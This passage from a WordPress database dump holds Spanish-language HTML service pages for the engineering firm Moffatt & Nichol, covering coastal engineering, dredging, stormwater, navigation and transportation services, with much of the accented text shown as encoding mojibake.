el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestiÃ³n de bocas de entrada</h1>\r\n Las bocas de entrada estÃ¡n entre los elementos mÃ¡s importantes de los sistemas costeros. FÃsicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su regiÃ³n. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahÃas y los ocÃ©anos y juegan un papel muy importante en los procesos de evoluciÃ³n de las islas de barrera, ademÃ¡s de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagaciÃ³n de la marejada ciclÃ³nica en bahÃas interiores. AdemÃ¡s, proporcionan acceso de navegaciÃ³n importante, y con frecuencia irreemplazable, entre esas bahÃas interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestiÃ³n de las bocas de entrada requiere una profunda comprensiÃ³n y amplia evaluaciÃ³n de la dinÃ¡mica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinÃ¡micas y otros problemas relevantes mediante el anÃ¡lisis y la evaluaciÃ³n de algunas de las bocas de entrada costeras mÃ¡s importantes y dinÃ¡micas de NorteamÃ©rica. Esta experiencia incluye:\r\n<ul>\r\n<li>AnÃ¡lisis de estabilidad (bocas de entrada individuales y mÃºltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>EvoluciÃ³n del bajÃo de marea baja y de inundaciÃ³n</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>ModelaciÃ³n detallada de olas, hidrodinÃ¡mico, transporte de sedimentos y morfolÃ³gico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilizaciÃ³n</li>\r\n<li>Sistemas de derivaciÃ³n mecÃ¡nicos</li>\r\n<li>AnÃ¡lisis de navegaciÃ³n</li>\r\n<li>OptimizaciÃ³n de canales de bocas de entrada (disposiciÃ³n y dimensiones)</li>\r\n<li>EvaluaciÃ³n de impactos de bocas de entrada en la hidrodinÃ¡mica de la bahÃa y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa</h1>\r\nHistÃ³ricamente, el material dragado era considerado como â€œescombrosâ€ para desechar mientras que el material dragado mÃ¡s recientemente ha sido reconocido como un recurso valioso para la creaciÃ³n de humedales, recuperaciÃ³n de playas y otros proyectos similares. Con nuestra especializaciÃ³n en ingenierÃa costera, Moffatt & Nichol ha trabajado continuamente desde su fundaciÃ³n en planes y proyectos de gestiÃ³n de materiales dragados, incluyendo muchos relacionados con la reutilizaciÃ³n beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del EjÃ©rcito de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos tÃpicos incluyen el dragado y la colocaciÃ³n de materiales en altiplanicies, riberas, Ã¡reas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundizaciÃ³n de atracaderos, cuencas y canales de navegaciÃ³n, el dragado de emergencia o mantenimiento, la creaciÃ³n o restauraciÃ³n de hÃ¡bitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivaciÃ³n de antiguos lugares de colocaciÃ³n.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelaciÃ³n numÃ©rica de alta gama hidrodinÃ¡mico y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestiÃ³n de autorizaciones, estrategias de gestiÃ³n de largo plazo, planes de gestiÃ³n de materiales dragados o la documentaciÃ³n de la construcciÃ³n. TambiÃ©n tenemos la capacidad de proporcionar estimaciones de la cantidad â€œbasadas en el riesgoâ€ y opiniones de costos probables en casos en los que el diseÃ±o del proyecto utiliza un criterio de riesgo aceptable para el diseÃ±o. Hemos completado el dragado para proyectos que varÃan desde cantidades tan pequeÃ±as como 5.000 yardas cÃºbicas, hasta la creaciÃ³n de Ã¡reas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cÃºbicas (el proyecto mÃ¡s grande de creaciÃ³n de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demogrÃ¡fica continÃºa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha poblaciÃ³n e infraestructura al daÃ±o de tormentas costeras, asÃ como a un daÃ±o mÃ¡s gradual debido a cambios de largo plazo, se ha convertido en un foco de atenciÃ³n mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la poblaciÃ³n y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignaciÃ³n a Ã¡reas mÃ¡s vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingenierÃa costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseÃ±o apropiados que afectan al desarrollo. Por ejemplo, la determinaciÃ³n de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selecciÃ³n de rutas o ubicaciones mÃ¡s rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinaciÃ³n de la vulnerabilidad incluyen la modelaciÃ³n hidrodinÃ¡mica, el anÃ¡lisis retrospectivo del oleaje y el anÃ¡lisis estadÃstico para determinar los criterios de diseÃ±o para la elevaciÃ³n de la marejada ciclÃ³nica, la elevaciÃ³n de la altura de la ola y la direcciÃ³n y magnitudes de la corriente. Estas determinaciones proporcionan la base para los anÃ¡lisis morfolÃ³gicos costeros, los anÃ¡lisis de socavaciÃ³n, los anÃ¡lisis de colisiÃ³n de buques y la gestiÃ³n de aguas pluviales que afectan la localizaciÃ³n y el diseÃ±o de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidrÃ¡ulicas</h1>\r\nA travÃ©s de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los rÃos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegaciÃ³n, la agricultura y el suministro de energÃa. Moffatt & Nichol es experto en el planeamiento y diseÃ±o de estructuras hidrÃ¡ulicas utilizadas para modificar corrientes y rÃos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protecciÃ³n contra inundaciones, presas, estructuras hidrÃ¡ulicas de control de flujo, esclusas, compuertas de marea, desvÃos de flujo, sifones invertidos, reservorios, lagunas de retenciÃ³n, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el Ã¡rea de especializaciÃ³n de la ingenierÃa costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseÃ±o de estructuras costeras: rompeolas, malecones, diques marÃtimos, espigones, escolleras, muros de retenciÃ³n, etc., para proteger/estabilizar/controlar secciones de lÃneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseÃ±ado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde lÃneas costeras abiertas con agua profunda y exposiciÃ³n a tsunamis hasta bahÃas protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevaciÃ³n del nivel del mar por oleaje. </li>\r\n<li>desde el Ãrtico, donde el hielo puede determinar los parÃ¡metros de diseÃ±o, hasta el Ecuador, donde la corrosiÃ³n puede, y </li>\r\n<li>desde suelos dÃ©biles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseÃ±o de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del EjÃ©rcito de EE.UU.\r\n\r\nYa sea que se diseÃ±en directamente o que se proporcione informaciÃ³n a otras disciplinas para su diseÃ±o, el diseÃ±o de estructuras costeras se apoya en los resultados de varios anÃ¡lisis costeros en los que somos expertos, es decir, anÃ¡lisis estadÃsticos (viento, olas, corrientes, marejadas ciclÃ³nicas), modelaciÃ³n numÃ©rica y fÃsica incluyendo cambios morfolÃ³gicos costeros, o la determinaciÃ³n de carga hidrodinÃ¡mica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinÃ¡micas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinÃ¡micas que serÃ¡n consideradas durante el diseÃ±o de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos Ãºnicos, pertinentes al diseÃ±o y la construcciÃ³n de estructuras de zonas costeras, incluyendo el anÃ¡lisis de riesgo, la selecciÃ³n de materiales, la factibilidad de construcciÃ³n del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegaciÃ³n/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaÃ±o y la cantidad de buques que utilizan puertos y vÃas navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegaciÃ³n. Desde nuestra fundaciÃ³n en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseÃ±o de navegaciÃ³n formulados para aliviar dichos problemas y conflictos de navegaciÃ³n. Por consiguiente, hemos realizadoestudios de navegaciÃ³n en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero tambiÃ©n para compaÃ±Ãas privadas (como empresas de energÃa, de defensa, fabricantes o expedidores). AdemÃ¡s de los estudios de navegaciÃ³n, periÃ³dicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numÃ©ricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su trÃ¡nsito como mientras estÃ¡ atracado.\r\n  \r\n<strong>NavegaciÃ³n de buques.</strong> Los estudios de navegaciÃ³n de buques generalmente evalÃºan las caracterÃsticas existentes y propuestas de la vÃa navegable para las condiciones sin proyecto y con proyecto mediante el anÃ¡lisis de parÃ¡metros tales como la utilizaciÃ³n/operaciÃ³n del buque, las prÃ¡cticas de navegaciÃ³n y la gestiÃ³n de la vÃa navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los anÃ¡lisis/impactos econÃ³micos, anÃ¡lisis/impactos del transporte, caracterÃsticas de funcionamiento e hidrodinÃ¡mica del movimiento del buque y la evaluaciÃ³n cualitativa y cuantitativa de los riesgos, lo que implica el anÃ¡lisis estadÃstico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misiÃ³n completa de las maniobras del buque en vÃas navegables, puertos y carriles de navegaciÃ³n para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para anÃ¡lisis estÃ¡ticos y dinÃ¡micos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de mÃºltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuaciÃ³n para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protecciÃ³n del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseÃ±o y construcciÃ³n. Los proyectos tÃpicos han incluido canales de navegaciÃ³n/cuencas de retorno, dragado, ayudas de navegaciÃ³n, instalaciones de amarres, operaciones de lanchaje, control de rÃos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hÃdricos</h1>\r\nCon los cambios de poblaciÃ³n y las demandas de infraestructura correspondientes, la gestiÃ³n de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la poblaciÃ³n era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupaciÃ³n principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hÃdricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelaciÃ³n, anÃ¡lisis, soluciones alternativas, participaciÃ³n ciudadana, gestiÃ³n de autorizaciones, ingenierÃa, diseÃ±o, documentaciÃ³n de la construcciÃ³n y servicios de licitaciÃ³n y construcciÃ³n para que los proyectos mejoren o solucionen los problemas de gestiÃ³n de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentÃas sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestiÃ³n de aguas pluviales</h1>\r\nLa gestiÃ³n de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentÃas se ha convertido en un Ã¡rea de creciente interÃ©s de parte de la ciudadanÃa y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atenciÃ³n, se ha desarrollado el interÃ©s en un tratamiento y una gestiÃ³n mÃ¡s pequeÃ±os y proactivos de las aguas pluviales, cerca de la fuente de la escorrentÃa, en comparaciÃ³n con el tratamiento de la escorrentÃa mÃ¡s cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauraciÃ³n de la divisoria de aguas, anÃ¡lisis de llanuras inundables, modelaciÃ³n hidrolÃ³gica/hidrÃ¡ulica integrada, apoyo para gestiÃ³n de autorizaciones, mejores prÃ¡cticas de gestiÃ³n de aguas pluviales, estructuras hidrÃ¡ulicas, sistemas de bombeo, mitigaciÃ³n de impactos, integraciÃ³n GIS/GPS, coordinaciÃ³n de diferentes organismos y participaciÃ³n ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrolÃ³gicos y topogrÃ¡ficos: montaÃ±as, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestiÃ³n de aguas pluviales son especialmente complejos porque el bajo relieve en topografÃa y las altas capas freÃ¡ticas limitan la colocaciÃ³n y con frecuencia afectan el rendimiento de las mejores prÃ¡cticas de gestiÃ³n de aguas pluviales convencionales. Como resultado de nuestro enfoque en la regiÃ³n costera, Moffatt & Nichol estÃ¡ muy familiarizado con prÃ¡cticas menos convencionales, casi atÃpicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilizaciÃ³n de modelos numÃ©ricos complejos en el ambiente costero, Moffatt & Nichol tambiÃ©n proporciona experiencia profesional especializada en la evaluaciÃ³n de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterrÃ¡nea combinadas para analizar su flujo y captaciÃ³n.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">anÃ¡lisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestiÃ³n de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numÃ©ricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanÃa de dichos proyectos. Estos modelos tambiÃ©n se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcciÃ³n del proyecto y posteriormente durante la operaciÃ³n.\r\n  \r\nPara la gestiÃ³n de sedimentos, Moffatt & Nichol utiliza modelos numÃ©ricos muy sofisticados a fin de estudiar el incremento, la erosiÃ³n y el dragado del sedimento. Modelos similares de las prÃ¡cticas actuales se utilizan para analizar la calidad del agua de las masas de agua de rÃos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerÃan el retiro, la colocaciÃ³n y el aislamiento de sedimentos contaminados para evitar su reintroducciÃ³n al medioambiente y los riesgos ecolÃ³gicos potenciales asociados con dicha reintroducciÃ³n. Estos proyectos generalmente usan instalaciones de contenciÃ³n que aÃslan los sedimentos tratados quÃmicamente en Ã¡reas de colocaciÃ³n en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realizaciÃ³n.\r\n\r\nComo parte de la obtenciÃ³n de las autorizaciones para proyectos dentro de Ã¡reas de emisiÃ³n de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisiÃ³n de aire aceptados por la Agencia para la ProtecciÃ³n del Medioambiente (EPA, por sus siglas en inglÃ©s) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisiÃ³n en proyectos de desarrollo portuario en Ã¡reas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y trÃ¡fico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numÃ©ricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numÃ©rico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglÃ©s).  Este modelo tambiÃ©n incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados.  Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con Ã©xito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauraciÃ³n de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hÃ¡bitat acuÃ¡tico en los rÃos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauraciÃ³n de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenÃa previas a las alteraciones. Esto requiere la implementaciÃ³n integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelaciÃ³n numÃ©rica, diseÃ±o de ingenierÃa y construcciÃ³n, necesarios para que dichos proyectos tengan Ã©xito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-3','','','2012-06-15 05:30:06','2012-06-15 05:30:06','',526,'http://moffattnichol.com/spanish/526-revision-3/',0,'revision','',0),(2467,1,'2012-06-15 05:46:03','2012-06-15 05:46:03','<div class=\"content_faq\"> [anything_slides cat=transportation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancías y de transporte, tanto dentro como más allá del campo tradicional del transporte, la práctica de Moffatt & Nichol reúne los conocimientos de ingeniería civil y estructural de la firma con nuestra singular comprensión de la infraestructura del movimiento de mercancías. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseño para todos los aspectos de calzadas, carreteras, vías férreas y puentes, así como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades técnicas son incrementadas por nuestras capacidades de economía del transporte, que incluyen análisis del financiamiento y de la obtención de fondos, estudios de mercado y pronóstico de la carga terrestre y de contenedores. Aportamos creatividad e innovación a cada misión y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga más transitados así como los puentes con mayor tráfico en el mundo.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\r\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstáculos físicos, los puentes son un componente básico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingeniería estructural para el planeamiento y el diseño de una amplia gama de puentes. \r\n    \r\n  \r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\r\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo económico, así como la tendencia hacia el tren suburbano como método más sostenible de transporte. Moffatt & Nichol proporciona un conocimiento técnico especializado en el estudio y diseño en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingeniería para nuevas instalaciones y corredores así como la rehabilitación y modernización de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el análisis financiero hasta los servicios de construcción para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y América. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecución de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el análisis de corredores, los impactos del tráfico y la logística de las operaciones.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\r\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las áreas de análisis de carga de contenedores y planeamiento económico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y públicos.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \r\n  &nbsp;\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">CALIFICACIÓN DE SERVICIOS 